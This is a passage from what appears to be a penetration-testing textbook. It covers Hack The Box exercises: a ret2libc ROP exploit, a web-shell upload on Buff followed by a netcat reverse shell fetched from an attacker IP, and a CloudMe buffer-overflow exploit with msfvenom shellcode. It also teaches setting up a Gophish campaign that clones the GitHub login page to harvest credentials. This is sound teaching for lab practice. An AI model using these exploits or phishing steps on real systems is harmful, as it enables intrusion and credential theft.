3 libc_setuid = p64(0xcc0c0)
4 libc_binsh = p64(0x18a156)
5 libc_base = u64(leaked_put) - u64(libc_puts)
6 log.info(f"libc base: 0x{libc_base.to_bytes(8, byteorder='big')[2:].hex()}
7 system_loc = (u64(libc_system) + libc_base).to_bytes(8, byteorder='little'
8 setuid_loc = (u64(libc_setuid) + libc_base).to_bytes(8, byteorder='little'
9 binsh_loc = (u64(libc_binsh) + libc_base).to_bytes(8, byteorder='little')
10 log.info(f"System: 0x{(u64(libc_system) + libc_base).to_bytes(8," \
11 "byteorder='big')[2:].hex()}")
12 log.info(f"Setuid: 0x{(u64(libc_setuid) + libc_base).to_bytes(8, "\
13 "byteorder='big')[2:].hex()}")
14 log.info(f"/bin/sh: 0x{(u64(libc_binsh) + libc_base).to_bytes(8, "\
15 "byteorder='big')[2:].hex()}")
16 gadget_setuid = pop_rdi + p64(0) + setuid_loc
17 gadget_system = pop_rdi + binsh_loc + system_loc
18 p.sendline(junk + gadget_setuid + gadget_system)
19 p.interactive()

The offsets of the functions puts, system and setuid and the string "/bin/sh" are added to
the program . The base address of libc is then calculated as the difference between the
leaked address of puts and its offset in libc . The actual addresses of system, setuid and
"/bin/sh" can then be calculated . Finally, the ROP chain is constructed and sent to the
program as input for the prompted password.

The result is a shell as root


hide01.ir
1 ┌─[✗]─[rin@parrot]─[~/boxes/Ellingson]
2 └──╼ $python3 exploit.py
3 [+] Starting local process './garbage': pid 162580
4 [*] Leaked addr: 0x7f5f3d50d550
5 [*] libc base: 0x7f5f3d497000
6 [*] System: 0x7f5f3d4dfdb0
7 [*] Setuid: 0x7f5f3d5630c0
8 [*] /bin/sh: 0x7f5f3d621156
9 [*] Switching to interactive mode
10 Enter access password:
11 access denied.
12 $ whoami
13 root
14 $

Note that to become root, the program needs to have the setuid bit set and the owner of the
program needs to be root:

1 sudo chown root garbage


2 sudo chmod u+s garbage

The final step is to run the exploit on the Ellingson box. To do this, you need to change the
addresses from libc to the addresses of the version that is on the Ellingson machine. You
can find out what version of libc is being used on Ellingson using the ldd command:

1 margo@ellingson:~$ ldd /usr/bin/garbage


2 linux-vdso.so.1 (0x00007ffc89d70000)
3 libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f31f7e49000)
4 /lib64/ld-linux-x86-64.so.2 (0x00007f31f823a000)

You can then simply change the way the program is run from

p = process("./garbage")
to:
hide01.ir
1 s = ssh(host = 'ellingson.htb', user = 'margo', password = 'iamgod$08')
2 p = s.process('/usr/bin/garbage')

Run the program to get access:

1 ┌─[rin@parrot]─[~/boxes/Ellingson]
2 └──╼ $python3 exploit.py
3 [+] Connecting to ellingson.htb on port 22: Done
4 [*] [email protected]:
5 Distro Ubuntu 18.04
6 OS: linux
7 Arch: amd64
8 Version: 4.15.0
9 ASLR: Enabled
10 [+] Starting remote process '/usr/bin/garbage' on ellingson.htb: pid 1416
11 [*] Leaked address: 0x7fa8c7a819c0
12 [*] libc_base: 0x7fa8c7a0d980
13 [*] System: 0x7fa8c7a50440
14 [*] Setuid: 0x7fa8c7ae6970
15 [*] /bin/sh: 0x7fa8c7bb4e9a
16 [*] Switching to interactive mode
17 access denied.
18 # $ whoami
19 root
20 # $ hostname
21 Ellingson

And that is it. Pwntools could have done a lot more for us, saving the need to find the
addresses of the functions within garbage and libc. It also has high level functions to
construct ROP chains. However, doing it manually helps understand what is going on.

Buffer overflows on Windows


hide01.ir
Apart from changing platform and the tools we can use to explore buffer overflows for
Windows applications, we can also look at 32 bit applications that differ in significant
aspects to the 64 bit applications we have just covered. The registers were covered in Table
x and there is a equivalence between the 32 bit registers and those in 64 bit architectures.
The main difference with registers is that 64 bit processors have the extra numbered
registers than 32 bit processors.

The other main difference is the function calling convention. If you look at most books and
examples of buffer overflows, the claim will be made that 32 bit programs always pass
parameters to a function on the stack. Sadly, that is not the case as there are a number of
different calling conventions that different compilers use in an attempt to improve the
performance of function calls. The conventions called "cdecl" (pronounced see-dec-el) and
stdcall do put everything on the stack in reverse order to their declaration (right to left). If we
take the following code as an example:

1 #include <stdio.h>
2 void printVars(int var1, int var2) {
3 printf("The function was passed %d and %d");
4 }
5 void main() {
6 printVars(3,7);
7 }

The call to printVars from main u will be preceded with two push instructions pushing 7
and then 3 onto the stack. On a Windows machine the 32 bit assembly of this code looks
like:

1 12: printVars(3, 7);


2 012318B8 push 7
3 012318BA push 3
4 012318BC call printVars (0123117Ch)

The other thing that happens during the call instruction that follows the variables being
pushed onto the stack is that return address is pushed as well (4). On leaving the function
printVars, the return address will be popped from the stack and loaded into EIP and so the
hide01.ir
exploit of buffer overflows in 32 bit programs is similar to what we have already covered
with 64 bit.

Microsoft Windows implements a protection mechanism called Data Execution Prevention


(DEP) that marks the stack, heap and other memory regions as non-executable. There are a
number of ways of getting around this by calling Windows functions that either create new
memory locations that are executable or by changing the protection level of the DEP
protected memory. Once DEP is bypassed, or if it is not enabled in the first place, we can
take advantage of this and do a buffer overflow that includes shell code that can execute
directly from the stack.

We will go through this using a case study from Hack The Box called Buff.
hide01.ir
Exercise: Exploiting a Windows Buffer
Overflow on Buff
The machine Buff is a Windows box that is running a website on port 8080 that is built
using "Gym Management Software 1.0". This software has a unauthenticated remote code
execution vulnerability that can be exploited to upload a web shell. Using the web shell, we
can upload netcat onto the box and get a reverse shell as the user buff\shaun. Once on the
box, you will discover an application that is running as Administrator called
CloudMe_1112.exe. This can be exploited through a buffer overflow to get an elevated
reverse shell as Administrator.

Initial Discovery

An nmap shows three ports open: 5040, 7680 and 8080. Port 8080 has been opened by an
Apache web server that is running PHP (7.4.6). The other two ports haven't revealed
anything specific and so we can leave them for now.

Navigating to http://buff.htb:8080 you will find a web site for a Gym; mrb3n's Bro Hut.
hide01.ir

Buff home page

Looking through the pages, the Contact page shows that the web site was made using
"Gym Management Software 1.0". There is also a copyright notice for Projectworlds.in.

Buff Contact page

Searching for exploits related to this software, we find details of an unauthenticated exploit
on the Exploit Database (https://www.exploit-db.com/exploits/48506\) which allows for an
unauthenticated remote code execution. We can download the exploit by using searchsploit
to mirror it to the current directory using the -m flag:
hide01.ir
searchsploit -m 48506

The exploit is based on an upload function in the app that allows the upload of image files.
The PHP file upload.php does not check if the user is authenticated and does not properly
validate the uploaded file.

1 $user = $_GET['id'];
2 <SNIP>
3 move_uploaded_file($_FILES["file"]["tmp_name"], "upload/".
4 $user.".".$ext);

Looking at the source code for upload.php, the uploaded file is first renamed v to the value
supplied as the id argument u to upload.php

It will take the extension of that file from the first bit of text it finds after the "." (2):

1 $pic=$_FILES["file"]["name"];
2 $conv=explode(".",$pic);
3 ext=$conv['1'];

It is a good idea to make a couple of changes to the exploit code. Firstly, it has been written
for Python 2 and so needs parentheses () for all of its print statements if run with Python 3.
Curiously some have parentheses, but others do not. The other thing I did was remove the
PNG magic bytes that are added to the file. These bytes won't affect the PHP code and are
used by some programs to identify the file type as a PNG file. However, the code in the Gym
Management Software does not check this so it is superfluous.

Running the code, we get access to a web shell:

1 ┌─[rin@parrot]─[~/boxes/Buff]
2 └──╼ $python3 48506.py http://buff.htb:8080/
3 /\
4
hide01.ir
/vvvvvvvvvvvv \--------------------------------------,
5 `^^^^^^^^^^^^ /============BOKU====================="
6 \/
7 [+] Successfully connected to webshell.
8 Exiting.
9 ┌─[✗]─[rin@parrot]─[~/boxes/Buff]
10 └──╼ $curl http://buff.htb:8080/upload/kamehameha.php?\
11 telepathy=whoami
12 buff\shaun

Because curl is slightly unwieldy to use, we can send a curl request to Burp Suite, intercept
that request and send it to the Repeater (using the CTL-R key)

1 ┌─[rin@parrot]─[~/boxes/Buff]
2 └──╼ $curl -x 127.0.0.1:8080 \
3 http://buff.htb:8080/upload/kamehameha.php?telepathy=dir

In Repeater in Burp Suite, we can now get a reverse shell by uploading netcat and executing
that. You can get a Windows version of netcat from /usr/share/windows-
resources/binaries/nc.exe and copy it to your working directory. Start a Python web server
on your box:

1 ┌─[✗]─[rin@parrot]─[~/boxes/Buff]
2 └──╼ $python3 -m http.server 8000
3 Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Then start a netcat listener:

1 ┌─[rin@parrot]─[~/boxes/Buff]
2 └──╼ $nc -lvnp 6001
3 listening on [any] 6001 ...

Then in Burp send:


hide01.ir
1 GET /upload/kamehameha.php?\
2 telepathy=curl+http%3a//10.10.14.137%3a8000/nc.exe\
3 +-o+nc.exe HTTP/1.1
4 Host: buff.htb:8080
5 User-Agent: curl/7.72.0
6 Accept: */*
7 Connection: close

Remember to change the IP address to your box's IP address.

And then run the reverse shell

1 GET /upload/kamehameha.php?\
2 telepathy=nc.exe+10.10.14.137+6001+-e+powershell HTTP/1.1
3 Host: buff.htb:8080
4 User-Agent: curl/7.72.0
5 Accept: */*
6 Connection: close

To get the reverse shell on your box:

1 ┌─[rin@parrot]─[~/boxes/Buff]
2 └──╼ $nc -lvnp 6001
3 listening on [any] 6001 ...
4 connect to [10.10.14.137] from (UNKNOWN) [10.129.55.153]
5 Windows PowerShell
6 Copyright (C) Microsoft Corporation. All rights reserved.
7 PS C:\xampp\htdocs\gym\upload>

We are on the box now as user buff\shaun, although this section was talking about using
custom exploits to obtain initial access, the actual buffer overflow exploit comes from the
privilege escalation step. After gaining access, we start the discovery process to find out
more about the environment, other users, configuration, software installed etc. In shaun's
home directory in Downloads, you will find a program called CloudMe_1112.exe. Looking
again at Exploit DB, we see that there is a buffer overflow vulnerability for the version 1.11.2
of CloudMe which is a file storage service (https://www.exploit-db.com/exploits/48389\).
hide01.ir
The exploit details that the CloudMe app is running on port 8888 and if we do a netstat to
look at what the machine is listening on, you will see that port 8888 is open:

1 PS C:\users\shaun\downloads> netstat -an | findstr LISTEN


2 netstat -an | findstr LISTEN
3 …
4 TCP 127.0.0.1:8888 0.0.0.0:0 LISTENING
5 …
6 PS C:\users\shaun\downloads>

We can confirm that this is opened by CloudMe by running the PowerShell command:

1 PS C:\users\shaun\downloads> Get-Process `
2 -Id (Get-NetTCPConnection -LocalPort 8888).OwningProcess
3 Get-Process -Id (Get-NetTCPConnection
4 -LocalPort 8888).OwningProcess
5 Handles NPM(K) PM(K) WS(K) CPU(s) Id SI ProcessName
6 ------- ------ ----- ----- ------ -- -- -----------
7 390 26 31996 38624 640 0 CloudMe

Of course, we don't know who the owner of this process is because that information needs
a higher level of privilege than we have as the user shaun but as this is Hack The Box, it is
likely that all clues point to Administrator.

We could just use the exploit code on Exploit DB but we are going to do this from scratch.
We are going to do this on our Windows 10 Commando VM. Download the version of
CloudMe from Exploit DB (https://www.exploit-
db.com/apps/f0534b12cd51fefd44002862918801ab-CloudMe_1112.exe\). To explore the
program we are going to use the Immunity debugger (which can be installed from
https://www.immunityinc.com/products/debugger/\) and install the addon for Immunity
called mona (which can be installed from https://github.com/corelan/mona\).

Running CloudMe will involve registering an account (which is free). Once it is running,
close it and then drag and rop the exe file into an Immunity window. You should see
windows as shown here:
hide01.ir

Debugging CloudMe in Immunity debugger

If the program says Paused at the bottom right of the window, then select Run from the
Debug menu. We are going to send a pattern of text created by using msf-pattern_create -l
1500 on the command line or in Immnunity, you can use !mona pattern_create 1500 in the
command window at the bottom of the screen.

Once CloudMe is running, you can send the pattern to CloudMe using netcat:

1 PS C:\Users\rin\Desktop> nc 127.0.0.1 8888


2 Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5
3 Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1
4 Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9…
5 PS C:\Users\rin\Desktop>

This will cause an exception in the CloudMe app that will be reported by Immunity giving an
address that it is trying to execute.
hide01.ir

Buffer overflow showing ascii characters in instruction pointer rip

We can confirm the address that is causing the exception by looking at the values in the
registers which are listed in Immunity's register window:

1 EAX 00000001
2 ECX 77597084 msvcrt.77597084
3 EDX 0DE00000
4 EBX 69423569
5 ESP 00A3D3E0 ASCII "Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk
6 3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm
7 0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn
8 7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp
9 4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9
10 EBP 6A423969
11 ESI 37694236
12 EDI 42386942
13 EIP 316A4230

This shows the pattern on the stack pointed to by ESP and the instruction pointer EIP has
316A4230. If we use msf-pattern_offset to find out the offset, we find it is at 1052

1 ┌─[rin@parrot]─[~/boxes/Buff]
2 └──╼ $msf-pattern_offset -q 316A4230 -l 1500
3 [*] Exact match at offset 1052

In mona in Immunity, we can do the same thing with


hide01.ir
1 !mona pattern_offset 0x316a4230: Pattern 0Bj1 (0x316a4230)
2 found in cyclic pattern at position 1052

Now that we know how to overwrite the instruction pointer held in EIP, the plan is to execute
shell code from the stack by using a jmp ESP instruction which will jump to, as in execute,
the address pointed to by the register ESP. We can use mona to search for this instruction
by using !mona jmp -r ESP.

Searching for jmp esp gadgets using mona

We get a great deal of output showing the locations of either jmp esp instructions found
and the libraries they are found in, or other equivalent instructions like push esp + ret. This
works like a jump instruction because the return instruction ret will return to whatever is on
the top of the stack and the value stored in the register ESP is pushed to the top of the
stack with push esp.

Both the jmp esp and the push esp + ret are found in Qt5Core.dll and this library does not
have ASLR protection.
hide01.ir
1 0x68a98a7b : jmp esp | {PAGE_EXECUTE_READ}
2 [Qt5Core.dll] ASLR: False, Rebase: False,
3 SafeSEH: False, OS: False, v5.9.0.0
4 (c:\Users\rin\CloudMe\Qt5Core.dll)
5 0x68bad568 : jmp esp | {PAGE_EXECUTE_READ}
6 [Qt5Core.dll] ASLR: False, Rebase: False,
7 SafeSEH: False, OS: False, v5.9.0.0
8 (c:\Users\rin\CloudMe\Qt5Core.dll)
9 …
10 0x6ac0bfae : push esp # ret | {PAGE_EXECUTE_WRITECOPY}
11 [qwindows.dll] ASLR: False, Rebase: False,
12 SafeSEH: False, OS: True, v5.9.0.0
13 (C:\Users\rin\CloudMe\platforms\qwindows.dll)
14 0x68a842b5 : push esp # ret | {PAGE_EXECUTE_READ}
15 [Qt5Core.dll] ASLR: False, Rebase: False,
16 SafeSEH: False, OS: False, v5.9.0.0
17 (c:\Users\rin\CloudMe\Qt5Core.dll)
18 0x68aa11e6 : push esp # ret | {PAGE_EXECUTE_READ}
19 [Qt5Core.dll] ASLR: False, Rebase: False,
20 SafeSEH: False, OS: False, v5.9.0.0
21 (c:\Users\rin\CloudMe\Qt5Core.dll)

The exploit on Exploit DB chose to use the push esp instruction rather than the jmp esp one.
Either will work (you can verify this yourself). However, now that we have found out all of
the necessary information, we can go ahead and create exploit code. We will stick with
using shellcode that will run the application calc.exe. This makes testing easier because it
is simple visual way of making sure the exploit is working.

1 uvwxyz{|}~import socket
2 target = "127.0.0.1"
3 junk = b"A" * 1052
4 EIP = b"\xB5\x42\xA8\x68" # 0x68A842B5 -> PUSH ESP, RET
5 NOPS = b"\x90" * 30
6 # msfvenom -a x86 -p windows/exec CMD=calc.exe \
7 # -b '\x00\x0A\x0D' -f python
8 buf = b""
9 buf += b"\xbf\xc9\x93\xa7\xbb\xd9"
10 buf += b"\xcb\xd9\x74\x24\xf4\x5b\x33"
11 buf += b"\xc9\xb1\x31\x83\xc3\x04"
12 buf += b"\x31\x7b\x0f\x03\x7b\xc6\x71"
13 buf += b"\x52\x47\x30\xf7\x9d\xb8"
14 buf += b"\xc0\x98\x14\x5d\xf1\x98\x43"
15 buf += b"\x15\xa1\x28\x07\x7b\x4d"
16 buf += b"\xc2\x45\x68\xc6\xa6\x41\x9f"
17
hide01.ir
buf += b"\x6f\x0c\xb4\xae\x70\x3d"
18 buf += b"\x84\xb1\xf2\x3c\xd9\x11\xcb"
19 buf += b"\x8e\x2c\x53\x0c\xf2\xdd"
20 buf += b"\x01\xc5\x78\x73\xb6\x62\x34"
21 buf += b"\x48\x3d\x38\xd8\xc8\xa2"
22 buf += b"\x88\xdb\xf9\x74\x83\x85\xd9"
23 buf += b"\x77\x40\xbe\x53\x60\x85"
24 buf += b"\xfb\x2a\x1b\x7d\x77\xad\xcd"
25 buf += b"\x4c\x78\x02\x30\x61\x8b"
26 buf += b"\x5a\x74\x45\x74\x29\x8c\xb6"
27 buf += b"\x09\x2a\x4b\xc5\xd5\xbf"
28 buf += b"\x48\x6d\x9d\x18\xb5\x8c\x72"
29 buf += b"\xfe\x3e\x82\x3f\x74\x18"
30 buf += b"\x86\xbe\x59\x12\xb2\x4b\x5c"
31 buf += b"\xf5\x33\x0f\x7b\xd1\x18"
32 buf += b"\xcb\xe2\x40\xc4\xba\x1b\x92"
33 buf += b"\xa7\x63\xbe\xd8\x45\x77"
34 buf += b"\xb3\x82\x03\x86\x41\xb9\x61"
35 buf += b"\x88\x59\xc2\xd5\xe1\x68"
36 buf += b"\x49\xba\x76\x75\x98\xff\x89"
37 buf += b"\x3f\x81\xa9\x01\xe6\x53"
38 buf += b"\xe8\x4f\x19\x8e\x2e\x76\x9a"
39 buf += b"\x3b\xce\x8d\x82\x49\xcb"
40 buf += b"\xca\x04\xa1\xa1\x43\xe1\xc5"
41 buf += b"\x16\x63\x20\xa6\xf9\xf7"
42 buf += b"\xa8\x07\x9c\x7f\x4a\x58"
43 payload = junk + EIP + NOPS + buf
44 try:
45 s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
46 s.connect((target,8888))
47 s.send(payload)
48 except Exception as e:
49 print(sys.exc_value)

In this code, we set a variable junk to be 1052 characters u. The next 4 bytes after that will
overflow into the EIP and so we create a variable with the address of the push esp + ret,
gadget. Finally, there is another variable NOPS that is set to 30 times the hex byte 90. I will
come back to what this is shortly. We can create the payload for the exploit using
msfvenom. The command syntax is shown in the code as a comment v. The -a flag is the
architecture of the exploit which is x86. The -p flag specifies the platform and, in this case,
it is a Windows executable with the executable specified by the CMD= parameter. We have
specified some bytes to avoid with the -b flag. This is done because sending null bytes and
carriage return or linefeed characters can cause some network connections to terminate
and we want to avoid them. Finally, we can specify the output format as Python using the -f
flag.
hide01.ir
Using the output from msfvenom, we create a variable buf to hold the shell code w. We then
construct the payload with the combination of junk + EIP + NOPS + buf x. Finally, we can
create a socket, connect to the target and send the payload y.

The result of running the exploit is shown below. If successful, you should see the
calculator application running.

Buffer overflow has succeeded and calculator is run

One thing you will notice about the exploit code is that it has added 30 bytes of b"\x90"
which is called a NOP sled. The NOP instruction is a no operation instruction, as in, it
doesn't do anything. The processor will simply move to the next byte until it hits the shell
code. This allows for the possibility that we haven't been able to calculate the exact offset
for the shell code because of memory alignment or other factors.

To get this exploit running on the box, we need a tunnel and so you can use chisel (which
can be installed from https://github.com/jpillora/chisel\).

Get the windows version of chisel onto Buff


hide01.ir
curl http://10.10.14.137:8000/chisel.exe -o chisel.exe

On the Parrot box run chisel as a server waiting for a reverse connection:

./chisel server -p 9000 --reverse

Then run chisel.exe as a client on Buff

1 PS C:\xampp\htdocs\gym\upload> .\chisel.exe client `


2 10.10.14.137:9000 R:8888:127.0.0.1:8888
3 .\chisel.exe client 10.10.14.137:9999 R:8888:127.0.0.1:8888
4 2020/11/29 09:05:30 client:
5 Connecting to ws://10.10.14.137:9999
6 2020/11/29 09:05:34 client:
7 Connected (Latency 461.1332ms)

We will cover using chisel for tunnels in more detail when looking at pivoting but this is the
same principle as using SSH as a tunnel.

We can now connect to the CloudMe application from our Parrot box on 127.0.0.1 and port
8888

Taking the exploit code that we developed on the Windows machine, we need to replace the
shell code with a reverse shell again using msfvenom:

1 msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.137 \


2 LPORT=6003 EXITFUNC=thread -b "\x00\x0d\x0a" -f python

Start a listener on port 6003 and then run the exploit code:

1 ┌─[✗]─[rin@parrot]─[~/boxes/Buff]
2
hide01.ir
└──╼ $nc -lvnp 6003
3 listening on [any] 6003 ...
4 connect to [10.10.14.137] from (UNKNOWN) [10.129.56.154]
5 Microsoft Windows [Version 10.0.17134.1610]
6 (c) 2018 Microsoft Corporation. All rights reserved.
7 C:\Windows\system32>whoami
8 whoami
9 buff\administrator
hide01.ir

Chapter 6 Initial Access: Social Engineering


hide01.ir
Social Engineering
In the previous chapter we saw a sophisticated means of gaining initial access through
custom exploitation of external services. In this chapter, we will look at a very common,
and surprisingly effective means of gaining initial access, asking a user to provide their
credentials by simply asking them! Social engineering is the practice of getting users to
provide information by pretending to be a legitimate site or person who would normally
have a right to it. We will look at how to use email phishing as a means of tricking people
to give up information, including credentials. We will cover the use of a social engineering
tool Gophish and also how carry out a phishing attack in the Hack The Box machine
SneakyMailer.

What is Social Engineering?

In many cases, if you want access to a network, machine or even physical premises, the
easiest thing to do is to simply ask for it, especially if you pretend to be someone that has a
legitimate reason to be asking. More formally, social engineering is the use of deception to
manipulate a person into revealing some information or taking some sort of inappropriate
action on the attacker's behalf. Social engineering relies on exploiting human behavior
based on both their general human behaviors, and also through manipulation of individuals
based on their personal life or work.

Social engineering takes advantage of the fact that people generally:

want to be helpful
tend to trust people and communications that come from trusted people
are concerned about getting in trouble
are willing to cut corners
are willing to believe in good fortune
don't understand how technology works

Take all of these factors, add to them the number of legitimate emails that prompt for some
sort of interaction, it is not surprising that getting people to do something that allows
attackers to capture credentials, or run malware, is relatively straightforward.
hide01.ir
The principal way in which social engineering attacks are made is through phishing.
Attackers primarily use email to carry out attacks but the same techniques can be applied
to phishing by way of SMS , direct messages in messaging apps, automated robocalls
through telephones and even videoconferencing apps.

The goal of a phishing attack is to either get a user to click on a link that takes them to a
site under the attacker's control, or downloads and installs malware directly. In another
variant, malware may be sent directly as an attachment of the message and the receiver of
the email is socially engineered into installing the malware directly.

We are going to look at phishing in more detail by exploring the use of a social engineering
tool called Gophish. We will focus on attacks that trick a user into providing credentials on
a fake login page copied from a genuine service.

Going Phishing with Gophish

Phishing provides the largest and potentially most effective way of getting malware onto a
computer or convincing a target to reveal their user credentials, personal or financial
information and even take other actions on the attacker's behalf. Phishing's most common
channel is email and there are a number of tools that simplify the ability to create phishing
emails, send them to targets and monitor the responses.

Although there are a couple of tools on Parrot OS, they are dated, and their source code is
not maintained. The tool we will use is called Gophish (which can be installed from
https://github.com/gophish/gophish\) which is written in the programming language Go
and handles phishing campaigns and monitor the results. Although it can be used for
attacking, it can also be used for training staff in cybersecurity awareness by auditing how
many would respond to a particular phishing attack.

Phishing attacks are generally never one-off events but are instead part of a campaign
which is a series of attacks carried out over a period of time to achieve a set of goals.

Setting up a campaign involves; using an SMTP server to send the mail, choosing the email
text that you want to send, and selecting the users that the emails are going to be sent to.
hide01.ir
To get an idea of how this works in practice, we can run through a simple example of
setting up a credential harvesting website locally and send a phishing email.

There are a number of challenges an attacker needs to overcome when sending phishing
emails and that is a large reason that so many of them don't get through to the victim and
end up in the spam folder instead. The first is finding an open relay SMTP server. An SMTP
server is said to be an open relay when it allows unauthorized emails to be sent through it
and allows the sender email address and display name to be spoofed. An alternative to
finding an open relay SMTP server is for the attacker to set up their own SMTP server. In
either case, SMTP servers can become blacklisted if they are seen to be sending out large
numbers of emails that have been flagged as spam or phishing. A blacklisted SMTP server
may be prevented from sending email and may have all of its email flagged as spam.

An attacker could also use stolen credentials to use a legitimate email service to send
emails and this might work when the email attack is targeted at a specific person, an attack
known as a spear phishing attacks.

Choosing the content of the email involves the attacker masquerading as a sender and
creating an email in the style of one that would be sent by them. Attackers often pretend to
be a group like IT support or help desk asking for email account verification. Other
commonly spoofed organizations are couriers or postal services sending email that claims
there to be unpaid shipping on a parcel that contains something of value. You will have
likely seen many examples of these types of emails arriving in your inbox or spam folder on
a daily basis.

Setting up a spoofed website is perhaps the easiest part of the phishing campaign. In our
example we are going to clone the GitHub login page, but it is straightforward to use any
social media login page, or any other company's login page for that matter. Once the
spoofed site is set up, Gophish will record visits to the site and optionally will record the
usernames and passwords entered by victims. Once the credentials are harvested, the user
can be redirected to the real site to reduce suspicion that they were tricked.

Normally, an attacker would make the site more convincing by using SSL and having a
certificate that matched the domain name chosen for the site. Users have been taught to
make sure that the sites they visit are protected by looking for the padlock in the browser
that indicates the site is using SSL and that the certificate is valid. Browsers will now warn
users when they visit a site that is not SSL protected. Also, you would want a URL that is
hide01.ir
close enough to the real URL you are spoofing in order to pass casual scrutiny by the user.
In our exercise, we are not going to bother with SSL certificates or setting up a domain for
the URL.

Creating a phishing campaign in Gophish

To install Gophish, you can download a release, unzip and use it directly
(https://github.com/gophish/gophish/releases/\). When run as root, Gophish will start two
web servers, one on port 80 that will host the phishing landing pages and the other on port
3333 which is the administration site. Opening the admin site in a browser, you can log in
with the user admin and the password that was printed out on the console when you ran it.
You will be prompted to change the admin password. You will see the Dashboard.

Gophish Dashboard page

To start, we will create a sending profile. For this, I am going to use a Gmail account that I
have created specifically to use for this example. If you create an account on Gmail, you
will need to change the security settings for Gmail to allow non-secure applications to
hide01.ir
access the account. Click on Sending Profiles and then Add New and then complete the
form using the details of your Gmail account as shown in Figure 6-2. In the From field, the
name that you add here will be displayed in the receiver's inbox. If you are using Gmail, the
from email address will always be the email of the account you are using to send the email.
To change this, you would need to use your own SMTP server. This is not so much of a
problem as many users will not check this when reading emails.

Creating a new sending profile in Gophish

Next, we are going to create an email template that will be based on the invitations that
GitHub sends to users to collaborate on a repository. I have copied the HTML from a real
email but if you don't have one, you can just type an email in the editor. Email templates will
substitute values in the template that are in double braces . The ones we are using here are
the target's email address , and the phishing URL which is used as a link in the text.
hide01.ir

Creating an email template in Gophish

Save the template and now click on Landing Page and Add New to create a new landing
page (Figure 6-4). We can use the Import Site button to import the page from the GitHub
Login page and add the same URL to redirect to after the credentials are captured.
hide01.ir

Creating a landing page in Gophish

Now that this has been done, we need to define the list of users to send emails to in the
Users & Groups page. Here, just add your own email address or create another account to
receive the emails. The first and last name and position can all be used within the email
templates to add to the personalization of the emails sent.

Finally, we can create a campaign and send the phishing email. In Campaign, click New
Campaign and fill out the details (Figure 6-5). For the URL, you want to use your own IP
address.
hide01.ir

Creating a new campaign in Gophish

Once the Launch Campaign button is pressed, the email should be sent and you should
receive an email based on the template you used.
hide01.ir

Phishing email sent from Gophish

Clicking on the accept or decline link will take you to the phishing landing page.
hide01.ir

Spoofed Github login page

Entering a username and password and clicking Sign in should then redirect you to the
GitHub login page with no feedback. Note that if you actually have a GitHub account and
are already authenticated by the browser, when the phishing landing page redirects, it will
take you straight to your default GitHub page and so it will look like the login was
successful.

The Dashboard page on Gophish will update to say that the email was clicked and that you
visited the landing page.
hide01.ir

Creating a new campaign in Gophish

You can click the Submitted Data button to view the details of the interaction with the target
page and see the data entered in the login page.
hide01.ir

Details of the interactions of the target with the email and landing page

.
hide01.ir

Details of the data entered in the landing page

.
hide01.ir
Exercise: Phishing on SneakyMailer
The Hack The Box machine SneakyMailer is running a number of services; FTP (port 21),
SSH (port 22), SMTP (port 25), HTTP (port 80), IMAP (port 143), IMAP TLS (port 993), HTTP
(port 8080). The main website on port 80 has a team member list from which names and
email addresses can be harvested to create a candidate user list. Running Gobuster on the
site reveals a PHP file register.php

a machine that simulates responding to a phishing attack to capture a user's credentials.


Although we could use Gophish easily to achieve this, we will use another tool to send
emails called SWAKS - Swiss Army Knife for SMTP (https://github.com/jetmore/swaks\)
and we will host the landing page in code that we will write ourselves.

Running an nmap scan, we find a number of ports open: FTP (21), SSH (22), SMTP (25),
HTTP (80), IMAP (143), IMAP TLS (993), HTTP (8080)

It seems the machine is running two websites and an email server supporting SMTP and
IMAP. The FTP server does not support anonymous logon and so we can look at the main
web server on port 80. Going to http://sneakymailer.htb, it redirects to the URL
http://sneakycorp.htb and so we can add that name to the hosts file. Visiting that URL
takes us to a landing page for SNEAKY CORP which is a Dashboard showing information
about 2 projects, PyPi and POP3/SMTP.
hide01.ir
Sneaky Corp Dashboard

.The Team page gives a list of team members with email addresses.

Sneaky Corp Team page

.We can grab all of the email addresses by using the command

curl http://sneakycorp.htb/team.php | grep @ | cut -d '>' -f 2 | cut -d '<'


hide01.ir
This command fetches the team.php page using curl and then passes the output to the
grep command using the pipe operator '|'. grep matches any line in the output that features
the @ symbol of the email address. This gives us lines of text with some HTML around the
email addresses and so we need to further refine the text using the cut command. Since the
output from the grep is lines like

<td>[email protected]</td>

We can use cut to delimit (-d) based on the character of the '>' and select the second field
that results, then get rid of the final HTML with a second cut command. The entire output
consisting of just the emails can then be saved to a file emails.txt.

Note that you can also simply copy paste the text from the page into a spreadsheet or
editor and manually then copy the emails.

We haven't finished our reconnaissance of the web site yet however and we will run
gobuster on the site:

1 ┌─[rin@parrot]─[~/boxes/SneakyMailer]
2 └──╼ $gobuster dir -t 50 \
3 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt \
4 -u http://sneakycorp.htb/
5 …
6 /img (Status: 301)
7 /css (Status: 301)
8 /js (Status: 301)
